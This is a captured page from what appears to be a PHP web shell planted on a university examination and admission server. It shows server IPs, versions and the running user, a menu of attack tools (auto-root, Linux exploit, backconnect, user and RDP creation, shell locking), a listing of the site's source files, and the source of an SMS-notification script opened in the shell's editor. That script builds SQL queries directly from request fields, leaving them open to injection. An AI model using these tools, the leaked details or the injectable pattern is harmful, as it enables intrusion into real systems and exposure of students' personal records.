Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 18.119.253.198
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
admission /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
adm_admin.php
36.49
KB
-rw-r--r--
adm_master.php
14.07
KB
-rw-r--r--
adm_register.php
78.86
KB
-rw-r--r--
adm_session_start.php
893
B
-rw-r--r--
cappcontext.php
4.58
KB
-rw-rw-r--
constants.php
818
B
-rw-rw-r--
coutput.php
1.75
KB
-rw-rw-r--
create_user.php
27.69
KB
-rw-rw-r--
creditMaster.php
2.31
KB
-rwxr-xr-x
crequestbroker.php
2.49
KB
-rwxr-xr-x
csessions.php
514
B
-rwxr-xr-x
cuser.php
3.41
KB
-rwxr-xr-x
cuser1.php
3.41
KB
-rwxr-xr-x
customappcontext.php
2.35
KB
-rwxr-xr-x
dailyValuation.php
1.6
KB
-rwxr-xr-x
dashboard.php
3
KB
-rwxr-xr-x
dashboardNew.php
31.05
KB
-rw-r--r--
database.php
744
B
-rw-rw-r--
dateMaster.php
2.83
KB
-rwxr-xr-x
dateupdate.php
8.88
KB
-rw-r--r--
define_heads.php
1.89
KB
-rw-r--r--
degcollege.php
7.32
KB
-rwxr-xr-x
deggrp.php
13.84
KB
-rwxr-xr-x
deggrpNew.php
4.04
KB
-rw-r--r--
degree.php
3.34
KB
-rwxr-xr-x
degreeEntry.php
5.46
KB
-rwxr-xr-x
degreeLoad.php
12.26
KB
-rw-r--r--
dispatchmarkscard.php
19.14
KB
-rwxr-xr-x
drawer.php
552
B
-rw-r--r--
dropDownOptions.php
400
B
-rwxr-xr-x
eGovSignin.php
4.22
KB
-rwxr-xr-x
error_log.php
749
B
-rwxr-xr-x
examAttendance.php
23.9
KB
-rwxr-xr-x
examCntr.php
6.73
KB
-rwxr-xr-x
examCntrdurexm.php
4.05
KB
-rwxr-xr-x
examHappeningCentre.php
19.76
KB
-rwxr-xr-x
examTimetable.php
26.1
KB
-rwxr-xr-x
examTimetableErrorReport.php
7.77
KB
-rwxr-xr-x
exam_app_acknowledge.php
8.41
KB
-rw-r--r--
examapprpt.php
2.9
KB
-rw-r--r--
examattendanceunivadmin.php
19.73
KB
-rwxr-xr-x
exceptionhandler.php
236
B
-rwxr-xr-x
fee-str.php
17.08
KB
-rwxr-xr-x
fee_summary_report.php
43.28
KB
-rwxr-xr-x
fee_summary_report_090120202.p...
43.79
KB
-rwxr-xr-x
finalQp.php
11.07
KB
-rw-r--r--
financeMenuItems.php
1.51
KB
-rw-r--r--
freezeTimetable.php
2.98
KB
-rwxr-xr-x
getBoards.php
1.34
KB
-rwxr-xr-x
getDegSemList.php
7.75
KB
-rwxr-xr-x
getFaculty.php
602
B
-rwxr-xr-x
getMenus.php
3.92
KB
-rwxr-xr-x
getNotifications.php
1.13
KB
-rwxr-xr-x
getPaymentTypes.php
1.77
KB
-rw-rw-r--
getQPdet.php
7
KB
-rw-r--r--
getRvPcReport.php
4.99
KB
-rwxr-xr-x
getStudentRegisteredReport.php
8.91
KB
-rw-r--r--
getUnivName.php
516
B
-rw-r--r--
get_result_table.php
109
B
-rw-r--r--
getdeggrpvalcntr.php
1.88
KB
-rw-r--r--
getinwordstatus.php
3.46
KB
-rw-r--r--
getpgetSavedData.php
4.29
KB
-rwxr-xr-x
getrvpc.php
8.89
KB
-rw-r--r--
getstuddetforrt.php
5.85
KB
-rw-r--r--
getunivs.php
816
B
-rwxr-xr-x
groupMessages.php
9.1
KB
-rwxr-xr-x
grv.php
12.12
KB
-rwxr-xr-x
holidayListing.php
696
B
-rwxr-xr-x
holidayMaster.php
2.11
KB
-rwxr-xr-x
hostNotification.php
1.61
KB
-rwxr-xr-x
htdwonload.php
7.5
KB
-rwxr-xr-x
iNeedHelp.php
3.02
KB
-rwxr-xr-x
iamarkssummary.php
6.25
KB
-rw-r--r--
insertOrEditCollege.php
21.88
KB
-rwxr-xr-x
inward.php
3.09
KB
-rwxr-xr-x
json.php
33.2
KB
-rwxr-xr-x
jwt.php
13.16
KB
-rwxr-xr-x
kswuomr.php
2.8
KB
-rw-r--r--
lastDateUpdate.php
3.95
KB
-rwxr-xr-x
lastDateUpdateCorrection.php
4.81
KB
-rw-r--r--
ledgerview.php
3.2
KB
-rwxr-xr-x
loadclgdettab.php
2.26
KB
-rw-r--r--
loadclgnm.php
1.3
KB
-rw-r--r--
loaddegdet.php
1.45
KB
-rw-r--r--
loaddegreedettab.php
2.49
KB
-rw-r--r--
loadupdclgnm.php
741
B
-rw-r--r--
login.php
1.72
KB
-rwxr-xr-x
loginDet.php
1.04
KB
-rw-r--r--
loginDetails.php
842
B
-rw-r--r--
loginattendance.php
2.21
KB
-rw-r--r--
marks_enter.php
5.74
KB
-rw-r--r--
marksentryupdate.php
4.78
KB
-rw-r--r--
marksmodreport.php
1.49
KB
-rw-r--r--
masQP.php
3.37
KB
-rwxr-xr-x
masterDegree.php
1.16
KB
-rw-r--r--
mcfverify.php
6.65
KB
-rw-r--r--
mpcmanage.php
2.57
KB
-rw-r--r--
mregistry.php
7.59
KB
-rwxr-xr-x
mregistry.php.orig
39.87
KB
-rwxr-xr-x
mregistry_01042021.php
45.75
KB
-rwxr-xr-x
mregistry_arun.php
18.94
KB
-rwxr-xr-x
mregistry_old.php
6.82
KB
-rwxr-xr-x
mregistry_old_03072020.php
33.09
KB
-rwxr-xr-x
mregistry_old_08052020.php
29.86
KB
-rwxr-xr-x
notificationPush.php
9.36
KB
-rwxr-xr-x
oldquestionpaper.php
4.87
KB
-rw-r--r--
omrqnentry.php
8.18
KB
-rw-r--r--
online-test.php
12.77
KB
-rwxr-xr-x
orderReportExcel.php
7.35
KB
-rw-r--r--
paymentReport.php
3.64
KB
-rwxr-xr-x
pgetDashboard.php
0
B
-rwxr-xr-x
pgprevmarks.php
13.41
KB
-rw-r--r--
photoCrop.php
5.57
KB
-rwxr-xr-x
practicalMarks.php
7.09
KB
-rw-r--r--
prbatchdet.php
3.26
KB
-rwxr-xr-x
prifreeze.php
3.11
KB
-rw-r--r--
pushmarks.php
1.18
KB
-rw-r--r--
pushnitification.php
8.1
KB
-rwxr-xr-x
pushnotif_ra.php
3.94
KB
-rwxr-xr-x
qpIndent.php
37.42
KB
-rwxr-xr-x
qpIndent_04032019.php
15.36
KB
-rwxr-xr-x
qpIndent_old.php
37.05
KB
-rwxr-xr-x
qp_dashboard.php
11.31
KB
-rw-r--r--
qp_issue.php
8.46
KB
-rw-r--r--
qp_setter.php
59.66
KB
-rw-r--r--
qp_setter_new.php
53.28
KB
-rw-r--r--
qpboardupdate.php
4.26
KB
-rw-r--r--
qpcrosscheck.php
11.96
KB
-rw-r--r--
qpindentstudlist.php
11.16
KB
-rw-r--r--
qpschemeupload.php
5.84
KB
-rw-r--r--
qpsetterteach.php
22.96
KB
-rw-r--r--
qpsummarynew.php
4.58
KB
-rw-r--r--
qptranlogin.php
1.64
KB
-rw-r--r--
qptranmenu.php
2.22
KB
-rw-r--r--
qpupload.php
8.11
KB
-rwxr-xr-x
qpupload_240621.php
6.49
KB
-rwxr-xr-x
rauspush.php
4.03
KB
-rw-r--r--
razorPayConfig.php
250
B
-rwxr-xr-x
reasonMaster.php
1.73
KB
-rwxr-xr-x
refund.php
2.68
KB
-rwxr-xr-x
register_rrit.php
28.44
KB
-rw-r--r--
releaseTimetable.php
4.73
KB
-rwxr-xr-x
reports_bkp.php
12.25
KB
-rwxr-xr-x
resultStats.php
4.69
KB
-rwxr-xr-x
result_pushnotif_bcu.php
2.33
KB
-rwxr-xr-x
result_pushnotif_bnu.php
2.33
KB
-rwxr-xr-x
result_pushnotif_dud.php
2.33
KB
-rwxr-xr-x
result_pushnotif_kus.php
2.33
KB
-rwxr-xr-x
result_pushnotif_rcub.php
2.33
KB
-rwxr-xr-x
resultdate.php
6.39
KB
-rw-r--r--
resultsApp.php
55
B
-rwxr-xr-x
results_new.php
31.65
KB
-rw-r--r--
resultstat.php
1.72
KB
-rw-r--r--
resultstatsrpt.php
13.82
KB
-rwxr-xr-x
retBatchDet.php
955
B
-rwxr-xr-x
rotation.php
596
B
-rwxr-xr-x
ruaspush.php
618
B
-rw-r--r--
rvMarksEntry.php
4.78
KB
-rwxr-xr-x
rvStatus.php
769
B
-rw-r--r--
rv_result_pushnotif_bcu.php
1.96
KB
-rwxr-xr-x
rvpc.php
1.76
KB
-rw-r--r--
rvrtReport.php
12.39
KB
-rwxr-xr-x
rvrt_Block.php
3.23
KB
-rw-r--r--
rvrtapp.php
22.11
KB
-rw-r--r--
rvrtblock.php
2.97
KB
-rw-r--r--
saveBKMCStdDet.php
2.22
KB
-rw-r--r--
saveBankDetails.php
1.54
KB
-rwxr-xr-x
saveBarcodeDeatils.php
2.87
KB
-rwxr-xr-x
saveDegSemDet.php
14.09
KB
-rwxr-xr-x
saveFinbkmh.php
2.1
KB
-rw-r--r--
savePGETApp.php
4.45
KB
-rwxr-xr-x
savePostNotification.php
2.94
KB
-rwxr-xr-x
scheduleqp.php
2.58
KB
-rw-r--r--
script.php
14.27
KB
-rwxr-xr-x
sdqpmenus.php
163
B
-rw-r--r--
searchregcode.php
5.17
KB
-rw-r--r--
selectFinalQpNew.php
4.69
KB
-rw-r--r--
sendConfMail.php
19.43
KB
-rwxr-xr-x
sendGridMail.php
1.72
KB
-rwxr-xr-x
sendOTP.php
5.51
KB
-rw-r--r--
sendOrder.php
12.33
KB
-rw-r--r--
sendnotification.php
0
B
-rwxr-xr-x
sendsms.php
11.83
KB
-rwxr-xr-x
sendsms_05092020.php
4.34
KB
-rwxr-xr-x
sendsms_15022019.php
6.66
KB
-rwxr-xr-x
sendsms_27012018.php
4.3
KB
-rwxr-xr-x
sendsmsapi.php
802
B
-rwxr-xr-x
sendzohomail.php
1.46
KB
-rw-r--r--
session_start.php
149
B
-rw-r--r--
session_start_rr.php
864
B
-rw-r--r--
sessionmaster.php
1.49
KB
-rw-r--r--
setDGExamTimetableReport.php
19.63
KB
-rwxr-xr-x
setDGExamTimetableReport_bcu_p...
11.51
KB
-rwxr-xr-x
setExamTimetable.php
5.01
KB
-rwxr-xr-x
setExamTimetableReport.php
9.84
KB
-rwxr-xr-x
settlement.php
9.06
KB
-rw-r--r--
sms-new.php
26.55
KB
-rw-r--r--
sms-notification.php
21.17
KB
-rwxr-xr-x
ssp_error_data.php
31.1
KB
-rwxr-xr-x
sspdata-auto-upload.php
11.12
KB
-rwxr-xr-x
sspdata.php
23.9
KB
-rwxr-xr-x
sspdata1.php
11.41
KB
-rw-r--r--
sspdata1_rcub.php
13.96
KB
-rw-r--r--
std_registrtion.php
1.4
KB
-rw-r--r--
studDoc.php
913
B
-rw-r--r--
studReg.php
1.64
KB
-rw-r--r--
stud_ack.php
9.89
KB
-rw-r--r--
stud_det.php
1.62
KB
-rw-r--r--
stud_payments.php
3.24
KB
-rw-rw-r--
student.php
26.71
KB
-rwxr-xr-x
studexamappblock.php
1.18
KB
-rw-r--r--
studymaterial.php
3.07
KB
-rwxr-xr-x
subject.php
2.42
KB
-rwxr-xr-x
subjectEntryScrn.php
8
KB
-rwxr-xr-x
subjectFreeze.php
4.91
KB
-rw-r--r--
sublisting.php
2.39
KB
-rw-r--r--
tdvsCreatePanel.php
1.26
KB
-rw-r--r--
tdvsQPteach.php
2.17
KB
-rw-r--r--
tdvsViewStatus.php
3.52
KB
-rw-r--r--
tdvs_Deviation.php
8.61
KB
-rw-r--r--
tdvs_batch.php
5.89
KB
-rw-r--r--
tdvs_createuser.php
6.5
KB
-rw-r--r--
tdvs_dashboard.php
3.58
KB
-rw-r--r--
tdvs_mail.php
5.93
KB
-rw-r--r--
tdvs_pergeval.php
11.55
KB
-rw-r--r--
tdvs_register.php
1.57
KB
-rw-r--r--
tdvs_saveRecieveQPCount.php
3.53
KB
-rwxr-xr-x
tdvs_saveScript.php
11.74
KB
-rw-r--r--
tdvs_script_cross_check.php
9.35
KB
-rw-r--r--
tdvs_stats.php
21.48
KB
-rw-r--r--
tdvs_subject.php
4.45
KB
-rw-r--r--
tdvs_subjectcreate.php
6.11
KB
-rw-r--r--
tdvs_teacher_valdet.php
2.87
KB
-rw-r--r--
tdvs_teacherpanel.php
3.38
KB
-rw-r--r--
tdvs_teachval.php
1.88
KB
-rw-r--r--
tdvs_teachwisevaldet.php
3.28
KB
-rw-r--r--
tdvs_valcenter.php
2.84
KB
-rw-r--r--
tdvs_verifyqppattern.php
1.03
KB
-rw-r--r--
tdvsdecoding.php
34.16
KB
-rw-r--r--
teachReport.php
5.27
KB
-rwxr-xr-x
teachValBill.php
990
B
-rwxr-xr-x
teachcoderange.php
1.71
KB
-rw-r--r--
teacherEmail.php
20.45
KB
-rw-r--r--
teacherEntry.php
67.04
KB
-rw-r--r--
teacherid.php
2
KB
-rw-r--r--
teachval.php
8.56
KB
-rwxr-xr-x
teachvaluationcount.php
21.07
KB
-rw-r--r--
teachworkapi.php
2.37
KB
-rwxr-xr-x
teachworksum.php
2.42
KB
-rwxr-xr-x
timetablesownload.php
9.98
KB
-rwxr-xr-x
timetablesownload_29062019.php
10.51
KB
-rwxr-xr-x
ttUpload.php
2.5
KB
-rwxr-xr-x
uChangeEmail.php
4.38
KB
-rwxr-xr-x
uChangeMobNum.php
5.17
KB
-rwxr-xr-x
uChangeRegNum.php
4.04
KB
-rwxr-xr-x
uDegPassCrit.php
1.32
KB
-rwxr-xr-x
uDeleteSpecificCollege.php
611
B
-rwxr-xr-x
uExamApplication.php
907
B
-rwxr-xr-x
uExamApplicationForm.php
30.97
KB
-rwxr-xr-x
uForgotPws.php
4.85
KB
-rwxr-xr-x
uGetDetailResult.php
2.17
KB
-rwxr-xr-x
uGetExamCenter.php
1.04
KB
-rwxr-xr-x
uGetResult.php
26.94
KB
-rwxr-xr-x
uGetResultSemester.php
896
B
-rwxr-xr-x
uGetSpecificCollege.php
1.43
KB
-rwxr-xr-x
uGrievances.php
2.97
KB
-rwxr-xr-x
uHallticket.php
5.33
KB
-rwxr-xr-x
uIAMarks.php
3.41
KB
-rwxr-xr-x
uINeedHelp.php
2.82
KB
-rwxr-xr-x
uInsertOrUpdateCollegeDetails....
2.42
KB
-rwxr-xr-x
uMenu_new.php
2.27
KB
-rwxr-xr-x
uNotification.php
3.1
KB
-rwxr-xr-x
uOldQuestionPaper.php
3.46
KB
-rwxr-xr-x
uPracticaltt.php
2.41
KB
-rwxr-xr-x
uProfile.php
1.27
KB
-rwxr-xr-x
uRegistration.php
16.86
KB
-rwxr-xr-x
uRevaluation.php
26.39
KB
-rwxr-xr-x
uRvAppStatus.php
2.42
KB
-rwxr-xr-x
uSubjectList.php
1.53
KB
-rwxr-xr-x
uSupport.php
1023
B
-rwxr-xr-x
uTheorytt.php
2.5
KB
-rwxr-xr-x
uansbookdet.php
2.85
KB
-rwxr-xr-x
uansbookdet0.php
11.83
KB
-rwxr-xr-x
uansbookupdate.php
1.29
KB
-rwxr-xr-x
ulogin.php
2.54
KB
-rwxr-xr-x
ultRoomDet.php
1.96
KB
-rw-r--r--
umenu.php
1.07
KB
-rwxr-xr-x
uniAttEntry.php
1.03
KB
-rw-r--r--
uniContctFrom.php
1.29
KB
-rwxr-xr-x
univRefund.php
9.81
KB
-rwxr-xr-x
unotification.php
3.1
KB
-rwxr-xr-x
upcomingnotification.php
4.55
KB
-rw-r--r--
updateIAMarks.php
1.42
KB
-rw-r--r--
updateRvPcChkList.php
1.13
KB
-rwxr-xr-x
update_dates.php
11.89
KB
-rw-r--r--
upload-sms-excel.php
3.58
KB
-rwxr-xr-x
uploadAnsBook.php
3.38
KB
-rwxr-xr-x
uploadCodeSlips.php
4.1
KB
-rw-r--r--
uploadData.php
6.24
KB
-rwxr-xr-x
uploadDummy.php
761
B
-rw-r--r--
uploadMCdetails.php
4.17
KB
-rw-r--r--
uploadMultipleFiles.php
3.99
KB
-rwxr-xr-x
uploadSSPData.php
5.9
KB
-rw-r--r--
uploadSSPData_bonf.php
11.86
KB
-rw-r--r--
upload_ans_book.php
5.25
KB
-rwxr-xr-x
upload_qp.php
1.85
KB
-rw-r--r--
upload_sms_file.php
7.94
KB
-rw-rw-r--
uploadbackup.php
5.16
KB
-rw-r--r--
uploadcorr_qp.php
4.74
KB
-rw-r--r--
uploadcorrdoc.php
4.09
KB
-rw-r--r--
uploadpwd.php
1.92
KB
-rw-r--r--
uploadqp.php
6.43
KB
-rw-r--r--
uploadqpMultipleFiles.php
678
B
-rw-r--r--
uploadscripts.php
333
B
-rw-r--r--
utils.php
4.19
KB
-rw-r--r--
uucmsdecoding.php
1.86
KB
-rw-r--r--
valuatordet.php
3.29
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : sms-new.php
<?php function getEvents_new($aobj_context) { // var_dump('ffgfddf'); // die(); $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $fsendto = $aobj_context->mobj_data['fsendto']; $fevttype = $aobj_context->mobj_data['fevttype']; $query = "select fevent, ftitle, ifnull(fmessage,'') as fmessage,ifnull(ftemplate,'') as ftemplate, ifnull(fedit,'F') as fedit from masevent where fsendto = '{$fsendto}' and fevttype = '{$fevttype}' and ifnull(fdeleted,'') <> 'T' order by fevent"; // var_dump($query); // die(); $result = $aobj_context->mobj_db->GetAll($query); // var_dump($result); if($result) { echo $aobj_context->mobj_output->ToJSONEnvelope($result,0,"success"); } else { $arr['msg'] = 'No details found'; echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"failure"); } } function pushSmsnew($aobj_context) { $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $req = $aobj_context->req_body['data']; $deggrp = $aobj_context->req_body['fdeggrp']; $fmodule = $aobj_context->req_body['fmodule']; $fstudtype = $aobj_context->req_body['fstudtype']; $univcode = $aobj_context->mobj_data['univcode']; // var_dump("hi",$deggrp); // die(); $commondb ="logisys3_comexam"; // var_dump($req2); // die(); $smstype = $req['fmsgtype']; if (!array_key_exists('fsendto', $req) || !array_key_exists('fevent', $req) || !array_key_exists('fmsg', $req)) { $arr['msg'] = 'Invalid Params'; echo $aobj_context->mobj_output->ToJSONEnvelope($arr, -1, "failure"); return; } // $deggrp = implode("','", $req['deggrp']); // $result = false; if($req['fsendto'] == 'ST') { switch($fmodule) { case 'examapp': $fmsg = $req['fmsg']; $fcollfrom = $req['fcollfrom']; $fcollto = $req['fcollto']; $fregfrom = $req['fregfrom']; $fregto = $req['fregto']; $fdegfrom = $req['fdegfrom']; $fdegto = $req['fdegto']; $ffeepaid = $req['ffeepaid']; $timestamp = date("Ymdhis"); $entype = "ST".$timestamp; $cond = ""; if($fstudtype == "feepending"){ $cond = "and ifnull(frecptdate,'') = ''"; } else if( $fstudtype == "feepaid" ) { $cond = "and ifnull(frecptdate,'') <> ''"; } $elig = ""; if($univcode == '003'){ $elig = "and felig = 'ABCDEFGHIJ'"; } $query ="INSERT IGNORE INTO {$commondb}.sendsms(funivcode, fregno, fmobileno, fenttype, fsubcode, fmessage, fstatus, fdeleted, fyear, fexamtype,fupdate, fmsgtype, fusertype) SELECT DISTINCT '{$univcode}', m.fregno, m.fmobileno, '{$entype}', '{$entype}', CONCAT('{$req['fmsg']}') AS fmessage, 'F', 'F', YEAR(NOW()), '2', NOW(), 'G', '900' FROM {$commondb}.masuser m inner join candsum cd on m.funivcode = '{$univcode}' and m.fregno = cd.fregno and cd.fregno between '{$fregfrom}' and '{$fregto}' and fcollcode between '{$fcollfrom}' and '{$fcollto}' and fdegree between '{$fdegfrom}' and '{$fdegto}' {$elig} {$cond} and cd.fdegree in (select distinct fdegree from degree where fdeggrp in ('{$deggrp}'))"; // var_dump($query); // die(); $result = $aobj_context->pobj_db->Execute($query); $req['fmodule'] = $entype; break; case 'student' : $fmsg = $req['fmsg']; $fcollfrom = $req['fcollfrom']; $fcollto = $req['fcollto']; $fregfrom = $req['fregfrom']; $fregto = $req['fregto']; $fdegfrom = $req['fdegfrom']; $fdegto = $req['fdegto']; $timestamp = date("Ymdhis"); $entype = "ST".$timestamp; // var_dump($snd); // die(); // if($snd=="sendsms") // { $query1 ="INSERT IGNORE INTO {$commondb}.sendsms(funivcode, fregno, fmobileno, fenttype, fsubcode, fmessage, fstatus, fdeleted, fyear, fexamtype,fupdate, fmsgtype, fusertype) SELECT DISTINCT '{$univcode}', m.fregno, m.fmobileno, '{$entype}', '{$entype}', CONCAT('{$req['fmsg']}') AS fmessage, 'F', 'F', YEAR(NOW()), '2', NOW(), 'G', '900' FROM {$commondb}.masuser m inner join student cd on m.funivcode = '{$univcode}' and m.fregno = cd.fregno and cd.fregno between '{$fregfrom}' and '{$fregto}' and fcollcode between '{$fcollfrom}' and '{$fcollto}' and fdegree between '{$fdegfrom}' and '{$fdegto}' and cd.fdegree in (select distinct fdegree from degree where fdeggrp in ('{$deggrp}'))"; // var_dump($query); // die(); $result = $aobj_context->pobj_db->Execute($query1); // } // $req['fmodule'] = $entype; break; case 'result': $fmsg = $req['fmsg']; $fcollfrom = $req['fcollfrom']; $fcollto = $req['fcollto']; $fregfrom = $req['fregfrom']; $fregto = $req['fregto']; $fdegfrom = $req['fdegfrom']; $fdegto = $req['fdegto']; $timestamp = date("Ymdhis"); $entype = "ST".$timestamp; $deggrp = $req['deggrp'] == 'C' ? "and x.fdegree in(select distinct fdegree from degree where fdeggrp = '{$fdeggrp}')": ""; $query = "insert ignore into logisys3_comexam.sendsms(funivcode, fregno, fenttype,fmobileno,fsubcode, fmessage, fstatus, fdeleted, fyear, fexamtype,fupdate, fmsgtype, fusertype) select distinct '{$univcode}',x.fregno,'{$enttype}' as fenttype,m.fmobileno, x.fexamno, concat('Dear ', st.fname,' (',x.fregno ,')',', your',if(x.FCORRTYPE='RV', ' revaluation ', ' challenge valuation '), 'result for ',d.fexamname, ' ', ' exam has been announced. Result : ', y.fclass,'. Visit student portal studentportal.universitysolutions.in for details.') as fmessage, 'F','F', x.fyear, x.fexamtype, now(), 'G', '900' from res_fee x inner join resmarks y on x.fdegree = y.fdegree and x.fexamno = y.fexamno and x.fregno = y.fregno inner join logisys3_comexam.masuser m on m.fregno = x.fregno and m.funivcode = '{$univcode}' inner join degree d on x.fdegree = d.fdegree and x.fexamno = d.fexamno inner join student st on x.fregno = st.fregno and x.fcollcode between '{$fcollfrom}' and '{$fcollto}' and x.fregno between '{$fregfrom}' and '{$fregto}' and x.fdegree between '{$fdegfrom}' and '{$fdegto}' and ifnull(x.frvpush,'') <> 'T' {$deggrp} where ifnull(x.FCORRTYPE,'') in ('RV','CV')"; $result = $aobj_context->pobj_db->Execute($query); if($result) { $query2 = "update res_fee x set x.frvpush = 'T' where ifnull(x.frvpush,'') <> 'T' and ifnull(x.FCORRTYPE,'') in ('RV','CV') {$deggrp}"; $result2 = $aobj_context->pobj_db->Execute($query2); } break; case 'student_register_no' : $fmsg = $req['fmsg']; $fcollfrom = $req['fcollfrom']; $fcollto = $req['fcollto']; $fregfrom = $req['fregfrom']; $fregto = $req['fregto']; $fdegfrom = $req['fdegfrom']; $fdegto = $req['fdegto']; $fstudtype = $req['fstudtype']; $fmodule = $req['fmodule']; $enttype = 'ADA'.date('Ymd'); if($univcode == '050' || $univcode == '052' || $univcode == '021' || $univcode == '055') { $query = "insert ignore into {$commondb}.sendsms(funivcode, fmobileno, fregno, fenttype, fsubcode, fmessage, fstatus, fdeleted, fyear, fexamtype,fupdate, fmsgtype, fusertype) select distinct c.funivcode, st.fstudmob, st.faregno,'{$enttype}', st.fexamno, concat('From ',c.ffolder,': Dear ',st.fname,', Welcome to ',c.funivname,'. Your ','ADM No.',' is ',st.faregno,'. Download Uniclare App at https://bit.ly/3BXe5Gu and register to get all information on Examination related activities - Uniclare') as fmessage, 'F','F', d.fadyear, d.fadexamtyp, now(), 'G', '900' from control c, studadm st inner join degree d on st.fdegree = d.fdegree and st.fexamno = d.fexamno where st.fcollcode between '{$req['fcollfrom']}' and '{$req['fcollto']}' and st.fdegree between '{$req['fdegfrom']}' and '{$req['fdegto']}' and ifnull(st.faregno,'') <> '' and ifnull(st.fapprstatus,'') = 'APPROVED' and ifnull(st.fdeleted,'') <> 'T' and ifnull(st.fappstatus,'') = 'verified' and ifnull(st.fapprpush,'') <> 'T' and ifnull(d.fdeggrp,'') in ('{$deggrp}') and st.fcollcode between '{$fcollfrom}' and '{$fcollto}' and st.faregno between '{$fregfrom}' and '{$fregto}' and st.fdegree between '{$fdegfrom}' and '{$fdegto}'"; $result = $aobj_context->pobj_db->Execute($query); }else if($univcode == '049') { $query = "insert ignore into {$commondb}.sendsms(funivcode, fmobileno, fregno, fenttype, fsubcode, fmessage, fstatus, fdeleted, fyear, fexamtype,fupdate, fmsgtype, fusertype) select distinct c.funivcode, st.fstudmob, st.faregno,'{$enttype}', st.fexamno, concat('From ',if(st.fcollcode = '1001','NMAMIT NITTE','NSAMFGC NITTE'),': Dear ',st.fname,', Welcome to ',c.funivname,'. Your Reg. No. is ',st.faregno,'. Download Uniclare App at https://bit.ly/3BXe5Gu and register to get all information on Examination related activities - Uniclare') as fmessage, 'F','F', d.fadyear, d.fadexamtyp, now(), 'G', '900' from control c, studadm st inner join degree d on st.fdegree = d.fdegree and st.fexamno = d.fexamno where st.fcollcode between '{$req['fcollfrom']}' and '{$req['fcollto']}' and st.fdegree between '{$req['fdegfrom']}' and '{$req['fdegto']}' and ifnull(st.faregno,'') <> '' and ifnull(st.fdeleted,'') <> 'T' and ifnull(st.fapprpush,'') <> 'T' and ifnull(d.fdeggrp,'') in ('{$deggrp}') and st.fcollcode between '{$fcollfrom}' and '{$fcollto}' and st.faregno between '{$fregfrom}' and '{$fregto}' and st.fdegree between '{$fdegfrom}' and '{$fdegto}'"; $result = $aobj_context->pobj_db->Execute($query); } else { $query = "insert ignore into {$commondb}.sendsms(funivcode, fmobileno, fregno, fenttype, fsubcode, fmessage, fstatus, fdeleted, fyear, fexamtype,fupdate, fmsgtype, fusertype) select distinct c.funivcode, st.fcontact_no, st.faregno,'{$enttype}', st.fexamno, concat('From ',c.ffolder,': Your Reg. No. is ',st.faregno,'. Download Uniclare App at https://bit.ly/3BXe5Gu and login with admission credentials to receive notifications - Uniclare') as fmessage, 'F','F', d.fadyear, d.fadexamtyp, now(), 'G', '900' from control c, studadm st inner join degree d on st.fdegree = d.fdegree and st.fexamno = d.fexamno where st.fcollcode between '{$req['fcollfrom']}' and '{$req['fcollto']}' and st.fdegree between '{$req['fdegfrom']}' and '{$req['fdegto']}' and ifnull(st.faregno,'') <> '' and ifnull(st.fapprstatus,'') = 'APPROVED' and ifnull(st.fdeleted,'') <> 'T' and ifnull(st.fapprpush,'') <> 'T' and ifnull(d.fdeggrp,'') in ('{$deggrp}') and st.fcollcode between '{$fcollfrom}' and '{$fcollto}' and st.faregno between '{$fregfrom}' and '{$fregto}' and st.fdegree between '{$fdegfrom}' and '{$fdegto}'"; $result = $aobj_context->pobj_db->Execute($query); } if($result) { $query = "update studadm st, degree d set st.fapprpush = 'T' where st.fdegree = d.fdegree and st.fexamno = d.fexamno and d.fdeggrp in ('{$deggrp}') and st.fcollcode between '{$req['fcollfrom']}' and '{$req['fcollto']}' and st.fdegree between '{$req['fdegfrom']}' and '{$req['fdegto']}' and st.faregno between '{$fregfrom}' and '{$fregto}' and ifnull(st.faregno,'') <> '' and ifnull(st.fapprstatus,'') = 'APPROVED' and ifnull(st.fdeleted,'') <> 'T' and ifnull(st.fapprpush,'') <> 'T'"; // var_dump($query); $result = $aobj_context->pobj_db->Execute($query); // var_dump($result); } case 'Marks Card Dispatch': $fmsg = $req['fmsg']; $fcollfrom = $req['fcollfrom']; $fcollto = $req['fcollto']; $fregfrom = $req['fregfrom']; $fregto = $req['fregto']; $fdegfrom = $req['fdegfrom']; $fdegto = $req['fdegto']; $fstudtype = $req['fstudtype']; $fmodule = $req['fmodule']; $enttype = 'MC'.date('Ymd'); $query = "INSERT IGNORE INTO logisys3_comexam.sendsms(funivcode, fregno, fmobileno, fenttype, fsubcode, fmessage, fstatus, fdeleted, fyear, fexamtype,fupdate,fmsgtype, fusertype) SELECT DISTINCT '{$univcode}', m.fregno, m.fmobileno, '{$enttype}', '{$enttype}', concat('From ',c.ffolder,': Dear Student (Reg. No. : ',mc.fregno,'), Your ',d.fexamname,' Marks Card has been printed and dispatched. Marks Card number is : ',mc.fmcno,' - Uniclare') AS fmessage, 'F', 'F', year(now()), '1', NOW(),'G', '900' FROM control c, mcmsg mc inner join degree d on mc.fdegree = d.fdegree and mc.fexamno = d.fexamno inner join logisys3_comexam.masuser m on m.fregno = mc.fregno where m.funivcode = '{$univcode}' and ifnull(m.fappmobid,'') = '' and ifnull(mc.fstatus,'F') = 'F'"; $result = $aobj_context->pobj_db->Execute($query); //var_dump($query); if($result) { $query = "insert ignore into logisys3_comexam.pushnotif(funivcode,fmobileno,fmobappid, fcollcode, fregno, fdegree, fenttype, fsubcode, ftitle, fbody, fstatus, fyear, fexamtype, fpushdate) select distinct '{$univcode}',m.fmobileno,m.FAPPMOBID,mc.fdegree, m.fregno, mc.fdegree, '{$enttype}', '{$enttype}', 'Marks Card has been printed and dispatched' as ftitle, concat('From ',c.ffolder,': Dear Student (Reg. No. : ',mc.fregno,'), Your ',d.fexamname,' Marks Card has been printed and dispatched. Marks Card number is : ',mc.fmcno,' - Uniclare') AS fmessage, 'F', year(now()), '1',NOW() from control c, 